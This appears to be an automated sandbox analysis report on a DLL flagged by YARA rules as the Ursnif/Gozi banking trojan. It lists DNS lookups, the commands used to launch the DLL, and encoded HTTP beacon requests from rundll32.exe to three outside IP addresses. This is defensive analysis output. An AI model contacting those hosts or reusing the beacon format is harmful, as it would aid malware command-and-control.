                  Feb 7, 2023 08:40:33.541255951 CET192.168.2.38.8.8.80x58c2Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:37.614136934 CET192.168.2.38.8.8.80x7477Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:38.379545927 CET192.168.2.38.8.8.80x7b26Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:44.880188942 CET192.168.2.38.8.8.80x466bStandard query (0)checklist.skype.comA (IP address)IN (0x0001)false

                  DNS Answers

                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                  Feb 7, 2023 08:37:59.686547995 CET8.8.8.8192.168.2.30xae5fNo error (0)windowsupdatebg.s.llnwi.net178.79.225.128A (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:12.344989061 CET8.8.8.8192.168.2.30x7edaName error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:16.580974102 CET8.8.8.8192.168.2.30x5b15Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:16.801222086 CET8.8.8.8192.168.2.30x996aName error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:24.197722912 CET8.8.8.8192.168.2.30x4d89Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:33.593959093 CET8.8.8.8192.168.2.30x58c2Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:37.641227961 CET8.8.8.8192.168.2.30x7477Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:38.407715082 CET8.8.8.8192.168.2.30x7b26Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:40:44.898555040 CET8.8.8.8192.168.2.30x466bName error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false

                  HTTP Request Dependency Graph

                  • 185.31.160.197
                  • 31.41.44.76
                  • 194.116.163.130

                  HTTP Packets

                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  0192.168.2.349698185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:32.565171957 CET156OUTGET /drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewF/5tnGr6riVZK/horfC4izkHtm_2/FRsyiPSStAcxMMw3KVag3/lKaiS0nUr_2F9hqf/3RFXwKt5J2tbPXS/ORUwyogCPRAU0lNCrZ/gUX2p4uf0/52fR7fuL9TQAnM8MZktZ/jn3oNSUBUG6ObRKZ9t0/G7muspir0_2FXwVFTkRBH_/2BQHEsUwGWwZ0/Fyq3Jq6I/bVBsCJjOxydll2fOCh9ATvJ/bvtlKOuLy_2F/Q3nLg.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 185.31.160.197
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  1192.168.2.349699185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:37.206727028 CET157OUTGET /drew/96WbEBcUq7aJNS/kQ0wfLfN8JI6VjNCsUTzK/WK90z9_2B7XAX2XG/upXptMjAiJhGB_2/Bx9kHdvFY9mjvzV9Hj/avb7Lzylq/E6cSDs9cPFVIqeDwACTJ/PK1QG41MThu4L3_2B6a/xhZK1ebw1k5lunwYBFV1UH/ikwAGEMpwJtiI/gAOTzF2x/QdYlHgDS6vS3tl1dP0NvynL/VzsZJRafdD/wCq0UKL04BDOdNThW/cyleJ18Ljhqu/5wzZFHiwSjI/c6vGjdr4_2FGZn/hLs_2Bk1McXgWzPfoUmWZ/5FTAJ.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 185.31.160.197
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  10192.168.2.349708194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:40:18.278336048 CET166OUTGET /drew/WKFz3025oeNUAhVE3Cmp/ZODZbv5Riiei5wZByoB/kMByyfIjSBktM3GISHMiiv/ZYtCqsISKFnMm/IH3X_2BK/y_2BkYKMZvZGMw_2B_2FhUr/P6MWCXDttT/AZuEpaYyTv3XPPa2l/TN5MlFCAnA_2/BLhLaGQrb9o/jU3Mc3oa1Jzvcv/wRpb_2BNj3M_2FDWCYdlq/UUxszf3xF_2FFqbu/qGpEYfYPMMl7CQ5/NoEQGh_2FyBeCer3Sr/QzfVcxvoh/9MiNJW144f_2FkyJc7uw/idmvVZen8VxvSTYWhlZ/vvHuMwuf7B/_2B.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 194.116.163.130
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  11192.168.2.349709194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:40:24.748349905 CET167OUTGET /drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQBsofz/tMRJBCj9m9bkbB/ENasA7HJBxqPQBTd90cdK/i3YK42Z185DcHIlC/LnzLW1iqfFwH0JW/GZwwANuXL4AckgYBEk/dmLNxA6bN/3yD9Kk0CtmpCnb_2Bv_2/BqCRb9F9mdlERKj1wnL/P77LSYa_2FqOPRqho0ZqlU/3WoC6_2B_2BN0/QWJ44MOp/IdeBiXHuOUJvLGEbq_2Fg_2/B_2F3QGqeY/pFQW7yihK50tdejC/UQD.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 194.116.163.130
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  2192.168.2.349700185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:37.966114044 CET158OUTGET /drew/fv81LNtTjb/WMu9hRxTSlmya2yS5/NZdcUrPHfmjK/9t9_2BOy0lh/nF4c4PFwxx8dGy/L8Ie_2FDCX8inll_2BYup/22F05C4OM7Bflev3/xI4d2lnP2nuU1kC/CQgFtndDaK95oGOo2W/10kXr_2BF/Pn5wroeQhBHPVbdtsdZn/Kq3ArJkFaNBMaRoHraG/F4gF6a4CfhJLmRyy06tNKV/CkuVd_2BYA_2B/x3czcx7b/iMUew5dDQFwomGeMWtfxunT/TtS9qbBehh/Cia3q9FliYD24EPNk/ovExEyt6d1c/_2FQOc.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 185.31.160.197
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  3192.168.2.349701185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:44.420244932 CET159OUTGET /drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOER/U_2BmkwqPxv/wex3_2BXhpNs_2/FfTr8ObOol6Bj9R73wclO/iN3ZGgw_2FTW1k0k/luhMat3D15ps5pc/VPMczQb7jaMQeEGLKK/fpMOyitjr/DuMSxLZyDG8N07SyLrF1/2wkeD9mjZDtnaTddkgI/5ZIwJr9wIkKxpgF826PPbc/DjUKFQFImz7i_/2BJLH_2F/X7QeeTQFd0zea_2FLWouvvO/OGzuRk5GsdmCq/tYpK.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 185.31.160.197
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  4192.168.2.34970231.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:53.280822992 CET160OUTGET /drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35pl80/1_2F0KF9XAnBGTAWU/6q7vPexFna0n/vkYoVYgnqm_/2BwrG_2Fo7duoa/ZW3p3VZlvN9gSsPX0t0OU/QJLeLZgTtGb189u0/LqnBpFbOpLe_2Fq/qX6lmCkrJcTwgvrtIi/q63A1D73c/Cbr49X6IDaFw8rI4UypV/iAW63u87DH8ORxNJjv_/2FbnvH4rTy9JmyXxkus_2F/hqBLgSxGlLjnX/vAha2ByMtF/i.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 31.41.44.76
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  5192.168.2.34970331.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:57.373197079 CET161OUTGET /drew/tKbIR0uTOA/YGp3puDNXehEZbQwE/fGmFaQVFoJtq/gh9ffXM_2BM/pvD5cczRnUGAJt/wyPvZqseQyf_2FgGUBjg_/2FwZiGG6m0393Rgv/jei71BL6Fgif3Oa/BF53JssGLmdk6BtePS/l5Q_2F8ae/5hhBlXwCQVa_2BbsBVmA/pItQe_2FwyY_2F76rOr/TVPU3k_2Fd7uBMTG_2BZ28/YJ5psF0DmwraU/iwe51xIV/NnaeAuemS3dLHC60tOsOqlb/y_2Bh4L_2B/plVh_2Bjto1OPuRhU/S17U18mI4x3h/QpYIj8srDy4/eNqY.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 31.41.44.76
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  6192.168.2.34970431.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:39:58.132468939 CET162OUTGET /drew/rQ80WmmISTdna6EZo8tb/N9IRYvXa9_2FwhYGLtw/DDguQwUmkKhF5p_2Fv32Qf/ct9aWPwjSgDO4/izTH4Bpy/ERFKMvJ7aXWRIOQSUNl8sXM/xs7duzy4Q5/KRDAN72gk9l1WXxwL/cukyXWTTIEPX/6MTef_2FekI/_2BVX_2Fn7fpGO/ms8CWSRLv1NwUWCqyCrWl/F0dorb0Gze_2BtCO/uXfBJVu4qNuzLBC/UAd8CfMJ5U6PUMkUP3/S75J42H7q/v2K4VDGPDBGfc7SFNv4x/_2FrM_2F_2FsrhfaQ4G/QMCkQkc9/Q.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 31.41.44.76
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  7192.168.2.34970531.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:40:04.587518930 CET163OUTGET /drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhmUYS/9Ai_2FbPYCH7smvdO/717YthDS3IQv/PnSVc21Ngaw/Vn1_2BOZtOBahp/1EwwA_2BBv2Zwic4Bzf_2/FSmA6S25_2BBG7sZ/CgeidfDqrlSsz9g/mK8ACu1oXo0TMNlJny/3WcasiNsT/xGU8_2BCgXqRPbeAqlWe/W18ECevo_2BBj7U5N8n/EaS4hR1Jm_2BBoht2Prvvj/uur5n64jpKQI6/iMlZfntqy/QWBtk2.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 31.41.44.76
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  8192.168.2.349706194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:40:13.441427946 CET164OUTGET /drew/abMXMSmVBmYxpM/crxG5ITm3ggBhYY2SvdHf/Boi5xXMrT8BGN3gP/hoX7Gn4_2Fg77Mh/dUe1mA9DM8C0_2Bu1_/2FpGiPxKE/myL5DrWevSAMQAJldwWx/EFTSf7FCW0bmH6vyXa2/mCrgPBjdC5_2BgWAkPkj5Q/orXAxZza0rrPm/jEViahgM/Q1a7oD0HQVHEtwOELTT_2Fw/rOQB_2BxSQ/6hM_2FXQd2ejcDywh/ccgIb8z7h0YV/NEj7w6ZQ5Ou/6w4KHCQa0d05Gb/ziYPg_2BC1_2Bdt1B7Y_2/BR6LSOiRozfkoz/f.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 194.116.163.130
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  9192.168.2.349707194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                  TimestampkBytes transferredDirectionData
                  Feb 7, 2023 08:40:17.528676033 CET165OUTGET /drew/GLgt0o_2BqRUa/Fmfh_2F4/oZt6OFznTEzSsVmuRm79NIG/jNK_2FWE_2/B1QBzYkliIV240B9s/g7bqhiihM_2F/5z3pmiHiDcB/O6wtsN6IgcD_2B/E7iTA7iDvuu2ty7Z_2F9W/OISsw7ZpE_2FrCcj/xBp5YJaLVGIy_2F/sVdBrSW9xobA1IxwgC/AGGgU9rGi/fyC4JUAw5NMu0pj658cT/ycxD9UF3mU69kBGso8I/plEsLeDBwaF1GDeC0Npo4g/kliDuBrDIEn06/rzm17XfH/UvpcA8b6hIFmhjALBsyRZFi/j3ZS.jlk HTTP/1.1
                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                  Host: 194.116.163.130
                  Connection: Keep-Alive
                  Cache-Control: no-cache


                  Statistics

                  CPU Usage

                  Click to jump to process

                  Memory Usage

                  Click to jump to process

                  High Level Behavior Distribution

                  Click to dive into process behavior distribution

                  Behavior

                  Click to jump to process

                  System Behavior

                  General

                  Target ID:0
                  Start time:08:38:04
                  Start date:07/02/2023
                  Path:C:\Windows\System32\loaddll32.exe
                  Wow64 process (32bit):true
                  Commandline:loaddll32.exe "C:\Users\user\Desktop\login.dll"
                  Imagebase:0xeb0000
                  File size:116736 bytes
                  MD5 hash:1F562FBF37040EC6C43C8D5EF619EA39
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  Reputation:high

                  General

                  Target ID:1
                  Start time:08:38:04
                  Start date:07/02/2023
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff745070000
                  File size:625664 bytes
                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:2
                  Start time:08:38:04
                  Start date:07/02/2023
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1
                  Imagebase:0xb0000
                  File size:232960 bytes
                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:3
                  Start time:08:38:05
                  Start date:07/02/2023
                  Path:C:\Windows\SysWOW64\regsvr32.exe
                  Wow64 process (32bit):true
                  Commandline:regsvr32.exe /s C:\Users\user\Desktop\login.dll
                  Imagebase:0xdb0000
                  File size:20992 bytes
                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  Reputation:high

                  General

                  Target ID:4
                  Start time:08:38:05
                  Start date:07/02/2023
                  Path:C:\Windows\SysWOW64\rundll32.exe
                  Wow64 process (32bit):true
                  Commandline:rundll32.exe "C:\Users\user\Desktop\login.dll",#1
                  Imagebase:0x9e0000
                  File size:61952 bytes
                  MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
